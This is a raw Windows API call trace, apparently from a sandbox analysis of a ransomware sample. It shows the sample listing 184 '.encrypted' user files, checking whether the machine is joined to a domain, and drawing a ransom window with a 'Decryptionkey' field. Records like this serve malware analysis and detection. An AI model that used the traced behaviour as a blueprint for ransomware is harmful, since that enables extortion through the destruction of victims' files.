WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SendMessageW", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0048.605] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SendMessageW", cchWideChar=13, lpMultiByteStr=0x10f3c0cc50, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SendMessageW", lpUsedDefaultChar=0x0) returned 13 [0048.605] GetProcAddress (hModule=0x7ffe2a3b0000, lpProcName="SendMessageW") returned 0x7ffe2a3b6970 [0048.605] SendMessageW (hWnd=0xf001e, Msg=0xc5, wParam=0x3b9ac9ff, lParam=0x0) returned 0x1 [0048.605] FreeLibrary (hLibModule=0x7ffe2a3b0000) returned 1 [0048.606] PeekMessageW (in: lpMsg=0x10f395f190, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f190) returned 0 [0048.606] PeekMessageW (in: lpMsg=0x10f395f190, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f190) returned 0 [0048.607] PeekMessageW (in: lpMsg=0x10f395f4b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f4b0) returned 0 [0048.607] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.607] CreateSolidBrush (color=0x0) returned 0x74100559 [0048.607] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.607] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.608] CreateFileW (lpFileName="C:\\PROGRA~1\\COMMON~1\\log.txt" (normalized: "c:\\progra~1\\common~1\\log.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0048.608] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0048.608] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x10f395f310, dwMoveMethod=0x1 | out: lpNewFilePointer=0x10f395f310*=0) returned 1 [0048.608] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x10f395f300, dwMoveMethod=0x1 | out: lpNewFilePointer=0x10f395f300*=0) returned 1 [0048.608] ReadFile (in: hFile=0x18c, lpBuffer=0x10f3c1cb00, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x10f395f340, lpOverlapped=0x0 | out: lpBuffer=0x10f3c1cb00*, lpNumberOfBytesRead=0x10f395f340*=0x324a, lpOverlapped=0x0) returned 1 [0048.608] ReadFile (in: hFile=0x18c, lpBuffer=0x10f3c1cb00, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x10f395f340, lpOverlapped=0x0 | out: lpBuffer=0x10f3c1cb00*, lpNumberOfBytesRead=0x10f395f340*=0x0, lpOverlapped=0x0) returned 1 [0048.608] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0048.608] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x10f395f380, dwMoveMethod=0x1 | out: lpNewFilePointer=0x10f395f380*=12874) returned 1 [0048.608] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0048.608] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x10f395f380, dwMoveMethod=0x1 | out: lpNewFilePointer=0x10f395f380*=0) returned 1 [0048.608] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x10f395f2d0, dwMoveMethod=0x1 | out: lpNewFilePointer=0x10f395f2d0*=0) returned 1 [0048.608] ReadFile (in: hFile=0x18c, lpBuffer=0x10f3c1cb00, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x10f395f310, lpOverlapped=0x0 | out: lpBuffer=0x10f3c1cb00*, lpNumberOfBytesRead=0x10f395f310*=0x324a, lpOverlapped=0x0) returned 1 [0048.610] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.610] CharUpperBuffW (in: lpsz="_FILECOUNTLINES", cchLength=0xf | out: lpsz="_FILECOUNTLINES") returned 0xf [0048.610] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0048.610] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0048.610] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x10f395ed30, dwMoveMethod=0x1 | out: lpNewFilePointer=0x10f395ed30*=0) returned 1 [0048.610] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x10f395ed20, dwMoveMethod=0x1 | out: lpNewFilePointer=0x10f395ed20*=0) returned 1 [0048.610] ReadFile (in: hFile=0x18c, lpBuffer=0x10f3c1cb00, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x10f395ed60, lpOverlapped=0x0 | out: lpBuffer=0x10f3c1cb00*, lpNumberOfBytesRead=0x10f395ed60*=0x324a, lpOverlapped=0x0) returned 1 [0048.610] ReadFile (in: hFile=0x18c, lpBuffer=0x10f3c1cb00, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x10f395ed60, lpOverlapped=0x0 | out: lpBuffer=0x10f3c1cb00*, lpNumberOfBytesRead=0x10f395ed60*=0x0, lpOverlapped=0x0) returned 1 [0048.610] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0048.610] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0048.610] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0048.610] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x10f395ec40, dwMoveMethod=0x1 | out: lpNewFilePointer=0x10f395ec40*=12874) returned 1 [0048.610] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0048.610] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x10f395ec40, dwMoveMethod=0x1 | out: lpNewFilePointer=0x10f395ec40*=0) returned 1 [0048.610] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x10f395eb90, dwMoveMethod=0x1 | out: lpNewFilePointer=0x10f395eb90*=0) returned 1 [0048.610] ReadFile (in: hFile=0x18c, lpBuffer=0x10f3c1cb00, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x10f395ebd0, lpOverlapped=0x0 | out: lpBuffer=0x10f3c1cb00*, lpNumberOfBytesRead=0x10f395ebd0*=0x324a, lpOverlapped=0x0) returned 1 [0048.611] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0048.611] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0048.611] SetWindowTextW (hWnd=0xf001e, lpString="Encrypted files: 184\r\n\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\-Kar\\g_Kf.encrypted.mp3\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\-Kar\\jbm6X5WVPb3d4o.encrypted.m4a\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\-Kar\\MBc0Rw8Uo_Of3f5.encrypted.wav\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\-Kar\\Ny2s.encrypted.pptx\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\-Kar\\oTNowkVPArPdClpl.encrypted.flv\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\-Kar\\P62rA6FYB gP.encrypted.mp4\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\0-0nSQtjx3OQOk.encrypted.docx\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\2U 4q.encrypted.mkv\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\4GhbRlq-JKTwUq.encrypted.bmp\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\7tLy.encrypted.png\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\b1DrBF6BJiH2t5R.encrypted.bmp\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\cChNLI nseUI.encrypted.mp3\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\DjG5LKzHA.encrypted.bmp\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\fMgVztMzKdkWm\\2qHnNLlstx60xk.encrypted.swf\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\fMgVztMzKdkWm\\a7BOT.encrypted.m4a\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\fMgVztMzKdkWm\\BxiNkfDKL7n6uh.encrypted.mkv\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\fMgVztMzKdkWm\\Mkl8.encrypted.flv\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\fMgVztMzKdkWm\\O7 BldHX4t31hLq.encrypted.wav\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\fMgVztMzKdkWm\\uMOrr9mp.encrypted.csv\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\fMgVztMzKdkWm\\X9pGuRd2LUFtykx.encrypted.avi\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\fMgVztMzKdkWm\\xkRc6.encrypted.gif\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\FrZbOJgkVA5C6MyJ.encrypted.mp4\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\I0uZHq1VO1kg.encrypted.ods\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\JYTH35yWOw4cDE5jD.encrypted.odp\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\K3EBs8.encrypted.docx\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\k9uoo8fW7r.encrypted.jpg\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\kQG5XtNI4DupERo o1m.encrypted.jpg\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\lQcVzOBTHZds7XE9L.encrypted.swf\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\M2GZLacPZQEjs2kMO8D.encrypted.pps\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\n0ie6V_g.encrypted.avi\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\osTre2ekexRLOM6.encrypted.jpg\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\q768hX7.encrypted.swf\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\QmkNd.encrypted.odp\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\rvzc3jMnZDyKRdzF.encrypted.mkv\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\uK 6Ek_gE.encrypted.png\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\Ur9w.encrypted.mp3\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\xE_1J.encrypted.avi\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\YPMyrW0Yu.encrypted.mp3\r\nC:\\Users\\5JgHKoaOfdp\\Desktop\\Zpipq.encrypted.avi\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\-K2qi4D7O1hA.encrypted.pptx\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\13i0VlibnO4QxctB5.encrypted.odp\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\2sfMU.encrypted.docx\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\6hmkgL288Io-nw73.encrypted.docx\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\6VP Y1.encrypted.xlsx\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\aQjEhDUTmjiM4M.encrypted.docx\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\b9SUel0k8A.encrypted.xls\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\EcMUW.encrypted.docx\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\F0tlqD_PjItzmwvwmHNX.encrypted.xlsx\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\6ESq8lZBvb5xjb1XLyrd.encrypted.odt\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\84P_4rzx.encrypted.rtf\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\dQOHpG0Nf9r1mosxu\\-McD0G9w-y6.encrypted.rtf\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\dQOHpG0Nf9r1mosxu\\3 LJxnIVpNPfOuwlcIh-.encrypted.pptx\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\dQOHpG0Nf9r1mosxu\\U9OFxVyaM-sRGNq.encrypted.doc\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\dQOHpG0Nf9r1mosxu\\wKBfM0BgIc5.encrypted.pps\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\gIFhUCqicYTOVJewuyW\\ACt2aRGtYlaHCFWx Ti2.encrypted.pps\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\gIFhUCqicYTOVJewuyW\\DpJxT01PYg1DSU8dGdRx.encrypted.pdf\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\gIFhUCqicYTOVJewuyW\\h_iDTN9q4xoR8AS.encrypted.ots\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\gIFhUCqicYTOVJewuyW\\Par3V.encrypted.docx\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\gMgUlv1jFWYOWc.encrypted.pdf\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\iXosKeRIaoImk.encrypted.ods\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\qhHaI\\2-L_bJ82.encrypted.pps\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\qhHaI\\BftNn-lFCQRK6y3V.encrypted.ods\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\qhHaI\\fPffAVX.encrypted.rtf\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\qhHaI\\GOZxV-S.encrypted.xlsx\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\qhHaI\\LXe-5p6iU.encrypted.pdf\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\qhHaI\\Mz7EF7dcig3 gnT3v.encrypted.xls\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\qhHaI\\OhQsVpUB.encrypted.docx\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\qhHaI\\Z qH-1_5g2NYPxao.encrypted.rtf\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\gxVaj.encrypted.pptx\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\HynWIycZ.encrypted.csv\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\My New App.encrypted.accdb\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\My Shapes\\_private\\folder.encrypted.ico\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\NeaFrBuex2U7\\-nTERrDy.encrypted.xlsx\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\NeaFrBuex2U7\\5Cq0nxpQprd.encrypted.xls\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\NeaFrBuex2U7\\K27yuQYoGg7erx5RY.encrypted.rtf\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\NeaFrBuex2U7\\LIL6pH6Oee7iuTK.encrypted.ods\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\NeaFrBuex2U7\\LJDVlgSO.encrypted.pps\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\NeaFrBuex2U7\\pvNdPv7CycNkjeBeIJOV.encrypted.xlsx\r\nC:\\Users\\5JgHKoaOfdp\\Documents\\NeaFrBuex2U7\\v2zRxHEjBQRq x6") returned 1 [0048.623] SendMessageW (hWnd=0xf001e, Msg=0xb1, wParam=0xf4240, lParam=0xf423f) returned 0x1 [0048.623] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.623] CharUpperBuffW (in: lpsz="DOMAINCHECK", cchLength=0xb | out: lpsz="DOMAINCHECK") returned 0xb [0048.623] PeekMessageW (in: lpMsg=0x10f395f1c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f1c0) returned 0 [0048.623] PeekMessageW (in: lpMsg=0x10f395f1c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f1c0) returned 0 [0048.623] PeekMessageW (in: lpMsg=0x10f395f1c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f1c0) returned 0 [0048.623] CharUpperBuffW (in: lpsz="_WINAPI_NETGETJOININFORMATION", cchLength=0x1d | out: lpsz="_WINAPI_NETGETJOININFORMATION") returned 0x1d [0048.623] PeekMessageW (in: lpMsg=0x10f395eae0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395eae0) returned 0 [0048.623] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0048.624] LoadLibraryW (lpLibFileName="Netapi32.dll") returned 0x7ffe26550000 [0048.630] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="NetGetJoinInformation", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0048.630] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="NetGetJoinInformation", cchWideChar=22, lpMultiByteStr=0x10f3c0c0f0, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NetGetJoinInformation", lpUsedDefaultChar=0x0) returned 22 [0048.630] GetProcAddress (hModule=0x7ffe26550000, lpProcName="NetGetJoinInformation") returned 0x7ffe265119a0 [0048.630] NetGetJoinInformation (in: lpServer="", lpNameBuffer=0x10f395e258, BufferType=0x10f395e280 | out: lpNameBuffer=0x10f395e258*="WORKGROUP", BufferType=0x10f395e280) returned 0x0 [0048.635] FreeLibrary (hLibModule=0x7ffe26550000) returned 1 [0048.636] PeekMessageW (in: lpMsg=0x10f395eae0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395eae0) returned 1 [0048.636] TranslateMessage (lpMsg=0x10f395eae0) returned 0 [0048.636] DispatchMessageW (lpMsg=0x10f395eae0) returned 0xffffffff [0048.636] GetForegroundWindow () returned 0x301cc [0048.636] GetWindowLongPtrW (hWnd=0x301cc, nIndex=-21) returned 0x0 [0048.636] PeekMessageW (in: lpMsg=0x10f395eae0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395eae0) returned 0 [0048.636] PeekMessageW (in: lpMsg=0x10f395eae0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395eae0) returned 0 [0048.636] PeekMessageW (in: lpMsg=0x10f395eae0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395eae0) returned 0 [0048.636] CharUpperBuffW (in: lpsz="_BUFFERSIZE", cchLength=0xb | out: lpsz="_BUFFERSIZE") returned 0xb [0048.636] PeekMessageW (in: lpMsg=0x10f395e240, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395e240) returned 0 [0048.637] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0048.637] LoadLibraryW (lpLibFileName="Netapi32.dll") returned 0x7ffe26550000 [0048.643] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="NetApiBufferSize", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0048.643] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="NetApiBufferSize", cchWideChar=17, lpMultiByteStr=0x10f3c0c950, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NetApiBufferSize", lpUsedDefaultChar=0x0) returned 17 [0048.643] GetProcAddress (hModule=0x7ffe26550000, lpProcName="NetApiBufferSize") returned 0x7ffe29755584 [0048.643] NetApiBufferSize (in: Buffer=0x10f3c1ba40, ByteCount=0x10f395d9b8 | out: ByteCount=0x10f395d9b8) returned 0x0 [0048.643] FreeLibrary (hLibModule=0x7ffe26550000) returned 1 [0048.645] PeekMessageW (in: lpMsg=0x10f395e240, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395e240) returned 0 [0048.645] PeekMessageW (in: lpMsg=0x10f395e240, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395e240) returned 0 [0048.645] CharLowerBuffW (in: lpsz="wchar[48]", cchLength=0x9 | out: lpsz="wchar[48]") returned 0x9 [0048.646] PeekMessageW (in: lpMsg=0x10f395eae0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395eae0) returned 0 [0048.646] PeekMessageW (in: lpMsg=0x10f395eae0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395eae0) returned 0 [0048.646] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0048.646] LoadLibraryW (lpLibFileName="netapi32.dll") returned 0x7ffe26550000 [0048.652] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="NetApiBufferFree", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0048.652] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="NetApiBufferFree", cchWideChar=17, lpMultiByteStr=0x10f3c0cff0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NetApiBufferFree", lpUsedDefaultChar=0x0) returned 17 [0048.652] GetProcAddress (hModule=0x7ffe26550000, lpProcName="NetApiBufferFree") returned 0x7ffe29751010 [0048.652] NetApiBufferFree (Buffer=0x10f3c1ba40) returned 0x0 [0048.653] FreeLibrary (hLibModule=0x7ffe26550000) returned 1 [0048.654] PeekMessageW (in: lpMsg=0x10f395eae0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395eae0) returned 0 [0048.654] PeekMessageW (in: lpMsg=0x10f395eae0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395eae0) returned 0 [0048.654] PeekMessageW (in: lpMsg=0x10f395f1c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f1c0) returned 0 [0048.655] PeekMessageW (in: lpMsg=0x10f395f1c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f1c0) returned 0 [0048.655] PeekMessageW (in: lpMsg=0x10f395f1c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f1c0) returned 0 [0048.655] PeekMessageW (in: lpMsg=0x10f395f1c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f1c0) returned 0 [0048.655] PeekMessageW (in: lpMsg=0x10f395f1c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f1c0) returned 0 [0048.655] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.655] CreateWindowExW (dwExStyle=0x0, lpClassName="static", lpWindowName="Your files has been safely encrypted", dwStyle=0x50000100, X=16, Y=8, nWidth=600, nHeight=42, hWndParent=0x501e8, hMenu=0x5, hInstance=0x7ff756b50000, lpParam=0x0) returned 0xe0020 [0048.656] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0048.656] NtdllDialogWndProc_W (hDlg=0x501e8, Msg=0x210, wParam=0x50001, lParam=0xe0020) returned 0x0 [0048.656] GetStockObject (i=17) returned 0x10a0047 [0048.656] SendMessageW (hWnd=0xe0020, Msg=0x30, wParam=0x10a0047, lParam=0x0) returned 0x0 [0048.656] GetSysColor (nIndex=18) returned 0x0 [0048.656] GetClientRect (in: hWnd=0xe0020, lpRect=0x10f395f220 | out: lpRect=0x10f395f220) returned 1 [0048.656] GetWindowRect (in: hWnd=0xe0020, lpRect=0x10f395f220 | out: lpRect=0x10f395f220) returned 1 [0048.656] SetWindowLongPtrW (hWnd=0xe0020, nIndex=-21, dwNewLong=0x5) returned 0x0 [0048.656] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.656] GetDC (hWnd=0x0) returned 0x11010729 [0048.656] GetDeviceCaps (hdc=0x11010729, index=90) returned 96 [0048.656] ReleaseDC (hWnd=0x0, hDC=0x11010729) returned 1 [0048.656] CreateFontW (cHeight=-30, cWidth=0, cEscapement=0, cOrientation=0, cWeight=800, bItalic=0x0, bUnderline=0x0, bStrikeOut=0x0, iCharSet=0x1, iOutPrecision=0x4, iClipPrecision=0x0, iQuality=0x2, iPitchAndFamily=0x0, pszFaceName="Calibri") returned 0xffffffffb20a07e2 [0048.656] SendMessageW (hWnd=0xe0020, Msg=0x30, wParam=0xffffffffb20a07e2, lParam=0x1) returned 0x0 [0048.657] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.657] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.657] CreateWindowExW (dwExStyle=0x200, lpClassName="edit", lpWindowName="Decryptionkey", dwStyle=0x50010080, X=304, Y=400, nWidth=305, nHeight=40, hWndParent=0x501e8, hMenu=0x6, hInstance=0x7ff756b50000, lpParam=0x0) returned 0x8011c [0048.658] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0048.658] GetWindowLongPtrW (hWnd=0x501e8, nIndex=-21) returned 0x0 [0048.658] 